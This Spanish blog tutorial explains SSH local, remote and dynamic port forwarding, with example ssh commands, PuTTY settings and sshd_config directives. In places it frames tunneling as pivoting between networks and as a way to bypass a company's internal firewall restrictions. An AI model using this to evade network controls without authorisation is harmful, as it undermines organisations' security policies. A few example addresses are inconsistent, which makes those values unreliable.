Una vez se disponga de una comunicación establecida al servidor SSH se pueden usar los protocolos SFTP (SSH File Transfer Protocol) o SCP (Secure Copy) para la transferencia segura de ficheros entre cliente/servidor.

¿Qué es un tunel SSH? (SSH Tunneling)

Es una técnica que consiste en encapsular un protocolo de red sobre otro o un determinado tráfico de red. En el caso de usar conexión SSH se trata de realizar esta técnica de forma segura añadiendo una capa de seguridad en la que los datos viajan de forma cifrada a través del túnel SSH, realizando un reenvío o redirección de puertos (port forwarding) desde una máquina local a otra remota (o viceversa) para establecer una comunicación a un recurso o servicio accesible solamente desde uno de los extremos de la red.

Suele usarse para conectarse a un servicio remoto que solo se tiene acceso desde la red local remota. A través de un cliente SSH nos podemos conectar a un servidor SSH remoto que tenga acceso a la red remota a la que queremos acceder, especificar un reenvío de puertos para establecer las conexiones a ese servicio y así poder ejecutarlo de forma local desde la máquina que inició la conexión SSH. El método más habitual suele ser el reenvío de puertos local.

¿Tipos de reenvíos de puertos? (Port forwarding)


SSH Local Port Forwarding (LPF)

Local (Redirección de puertos local): Reenvía un puerto local a un host remoto.

Si un servicio se ejecuta en la máquina remota en la que establecemos la conexión y queremos ejecutar este servicio en la máquina local que inicia la conexión, se puede acceder a este servicio de desde nuestra máquina local usando la dirección local de lookback (127.0.0.1 o localhost) haciendo referencia al puerto mapeado a través de la conexión de inicio de la sesión SSH.

Pongamos un escenario de ejemplo de una conexión local port forwarding de escritorio remoto RDP realizando pivoting a otro equipo dinstinto al servidor SSH.

Supongamos que estamos en una red A y queremos acceder por escritorio remoto a un equipo situado en una red B (192.168.0.10), pero que por restricción del Firewall de la red A solo podemos realizar solicitudes de conexión al puerto 22 de SSH y no al puerto 3389 del servicio RDP. Lo que podemos hacer es crear una conexión desde un cliente SSH desde la red A (172.16.0.20) a un servidor SSH situado en la red B (192.168.0.15), en esa conexión tendremos que especificar un port forwarding local en un puerto aleatorio (mayor del puerto 1024 para que esté fuera del rango de "puertos bien conocidos") por ejemplo el 9090 como puerto origen (puerto local) de la red A y la IP:3389 del equipo de la red B al que nos queremos conectar (192.168.0.10), después de establecer esta parametrización nos conectamos al servidor SSH de la red B para crear el túnel local.

En el host de la red A que estableció la conexión desde el cliente SSH (172.16.0.20) abrimos un cliente de RDP (mstsc Windows, rdesktop o Remmina en Linux) y nos conectamos a "localhost:9090". Esto redirigirá la petición del host localhost (172.16.0.20) del puerto 9090 al servidor SSH de la red B que a su vez este redirigirá la petición al host destino 192.168.0.10 hacia el puerto 3389 y así establecer la conexión RDP.

En el caso de querer conectarse a otro servicio o desde otro host que no sea el propio host que realiza conexión desde el cliente SSH se especificaría: "<host-remoto>:<puerto-remoto>".

Desde una terminal se usa el parámtro -L para port forwarding local.
ssh -L <puerto-local-escucha>:<host-remoto>:<puerto-remoto> <servidor-ssh>
ssh -L 9090:192.168.0.10:3389 mi.servidorssh.com

Si el servidor remoto SSH al que nos conectamos para realizar el pivoting del primer salto (mi.servidorssh.com) está expuesto por otro puerto que no sea el 22 por defecto, podemos especificarlo con el parámetro "-p <puerto-servidor-ssh>".

PuTTY - Local port forwarding SSH Tunneling.
Figura 1: PuTTY - Local port forwarding SSH Tunneling.
  • Cliente SSH (Red A): 172.16.0.20
  • Servidor SSH (Red B): 192.168.0.15
  • Host RDP (Red B): 192.168.0.10
Figura 2: SSH port forwarding - Túnel SSH local.

SSH Remote Port Forwarding (RPF)

Remote (Reedirección de puertos inverso): Reenvía un puerto remoto a un host local.

Al contrario que una conexión de túnel local, si un servicio solo es accesible desde una máquina de la red local y se necesita tener conexión a el de forma remota. Se puede usar un puerto específico de escucha para conectarse a esa máquina remota y que esta nos proporcione el servicio a través de ella, pivotando posteriormente esa conexión a la máquina desde la que se inicia la sesión SSH.

Pongamos un ejemplo con los mismos hosts del escenario anterior de una conexión remote port forwarding de escritorio remoto RDP.

Supongamos que estamos en una red A y queremos ofrecer el servicio de escritorio remoto RDP situado en la red A (172.16.0.20), pero este servicio hacía este host solo solamente es accesible desde la red A y no desde otras redes externas. Lo que podemos hacer es crear una conexión con un cliente SSH desde el mismo host de la red A a un servidor SSH situado en la red B (192.168.0.15), en esa conexión tendremos que especificar un port forwarding remote en un puerto aleatorio (mayor del puerto 1024 para que esté fuera del rango de "puertos bien conocidos") por ejemplo el 9090 como puerto origen (puerto remoto) de la red B y la 172.16.0.20:3389 del equipo de la red A del que queremos ofrecer la conexión RDP (sería válido también localhost:3389 ya que se trata del mismo equipo local quien es el cliente SSH que establece la conexión), después de establecer esta parametrización nos conectamos al servidor SSH de la red B para crear el túnel remoto.

La idea es prácticamente la misma que el tunel local, la diferencia está en que la conexión se establece de forma inversa (reverse port forwarding)

En el host 192.168.0.10 de la red B abrimos un cliente de RDP (mstsc Windows, rdesktop o Remmina en Linux) y nos conectamos a "192.168.0.5:9090" (servidor SSH de la red A). Esto redirigirá la petición al puerto 9090 al host destino de la red B 172.16.0.20 hacia el puerto 3389 para establecer la conexión RDP.

En el caso de ofrecer otro servicio o desde otro host que no sea el propio host que realiza conexión desde el cliente SSH se especificaría: "<host-local>:<puerto-local>".

Directivas en el servidor SSH (/etc/ssh/sshd_config)

Para que el servidor SSH permita el conexiones de puertos de reenvío remoto es necesario habilitar principalmente la directiva GatewayPorts. Referencia: https://linux.die.net/man/5/sshd_config

AllowTcpForwarding

Especifica si se permite el reenvío de TCP, de forma predeterminada el valor está establecido a "yes".

GatewayPorts

Especifica si los hosts remotos pueden conectarse a los puertos reenviados para el cliente. De forma predeterminada, enlaza los reenvíos de puertos remotos a la dirección de loopback. Esto evita que otros hosts remotos se conecten a puertos reenviados. Por lo que para poder usarse para el reenvío de puertos remotos debe establecerse a "yes".

Desde una terminal se usa el parámtro -R para port forwarding remote.
ssh -R <puerto-remoto-escucha>:<host-local>:<puerto-local> <servidor-ssh>
ssh -R 9090:172.168.0.20:3389 mi.servidorssh.com
o también
ssh -R 9090:localhost:3389 mi.servidorssh.com

Si el servidor remoto SSH al que nos conectamos para realizar el pivoting del primer salto (mi.servidorssh.com) está expuesto por otro puerto que no sea el 22 por defecto, podemos especificarlo con el parámetro "-p <puerto-servidor-ssh>"

PuTTY - Remote port forwarding SSH Tunneling.
Figura 3: PuTTY - Remote port forwarding SSH Tunneling.
  • Cliente SSH y Host RDP (Red A): 172.16.0.20
  • Servidor SSH (Red B): 192.168.0.15
  • Client RDP (Red B): 192.168.0.10
Figura 4: SSH port forwarding - Túnel SSH remoto.

SSH Dynamic Port Forwarding (DPF)

Dynamic (Redirección de puertos dínamico): Utiliza SOCKS.

Se comporta como un proxy SOCKS, suele usarse si nos necesitamos conectar a un software que espera un reenvío de SOCKS.

La idea es igual que cuando se establece un túnel local SSH. La diferencia es que los datos se enviarían a todos los destinos remotos. Para utilizar este tipo de conexión es necesario que la aplicación del cliente que se conecta al puerto local debe enviar tráfico mediante el protoclo SOCKS. En el lado del túnel del cliente se crearía un porxy SOCKS y la aplicación (por ejemplo un navegador web) utiliza el protocolo SOCKS para especificar donde debe enviarse el tráfico cuando sale del otro extremo del túnel SSH.

SSH creará un proxy SOCKS que escuchará las conexiones en el puerto 9090, al recibir una solicitud enrutará el tráfico a través del canal SSH establecido entre la red A (172.16.0.20) y la red B (192.168.0.15). Para ello, es necesario configurar la aplicación (navegador web) del host de la red A para que apunte al proxy SOCKS en el puerto 9090 en localhost. De ese modo estaremos saliendo con la conexión pública (si el mecanismo NAT está habilitado) a través de este navegador web como si estuviésemos en la red B.

Si en vez usar la dirección de loopback 127.0.0.1 refiriéndose a la dirección local, se usa una dirección de red no enrutable como 0.0.0.0 (indicando desde "cualquier lugar" -anywhere-) y especificando un puerto concreto, podemos indicar que se configure un Proxy SOCKS en el navegador web de cualquier máquina remota y así desde cualquier máquina de la red se establezca un túnel directo a nuestra máquina y que este tunelice el tráfico web recibido, bypaseando el tráfico restringido por los firewalls internos de la empresa.

Ejecutándolo desde un cliente SSH desde la red A. Desde una terminal se usa el parámtro -D para port forwarding dynamic.
ssh -D <puerto-origen-dinámico-escucha> <servidor-ssh>
ssh -D 9090 mi.servidorssh.com

Si el servidor remoto SSH al que nos conectamos para realizar el pivoting del primer salto (mi.servidorssh.com) está expuesto por otro puerto que no sea el 22 por defecto, podemos especificarlo con el parámetro "-p <puerto-servidor-ssh>"

PuTTY - Dynamic port forwarding SSH Tunneling.
Figura 5: PuTTY - Dynamic port forwarding SSH Tunneling.

Proxy SOCKS navegador web.
Figura 6: Proxy SOCKS navegador web.
  • Cliente SSH (Red A): 172.16.0.20
  • Servidor SSH (Red B): 192.168.0.15
SSH port forwarding - Túnel SSH dinámico.
Figura 7: SSH port forwarding - Túnel SSH dinámico.

Repositorio Github: https://github.com/adrianlois/SSH-Tunnel-Port-forwarding

Saludos!

Entradas Populares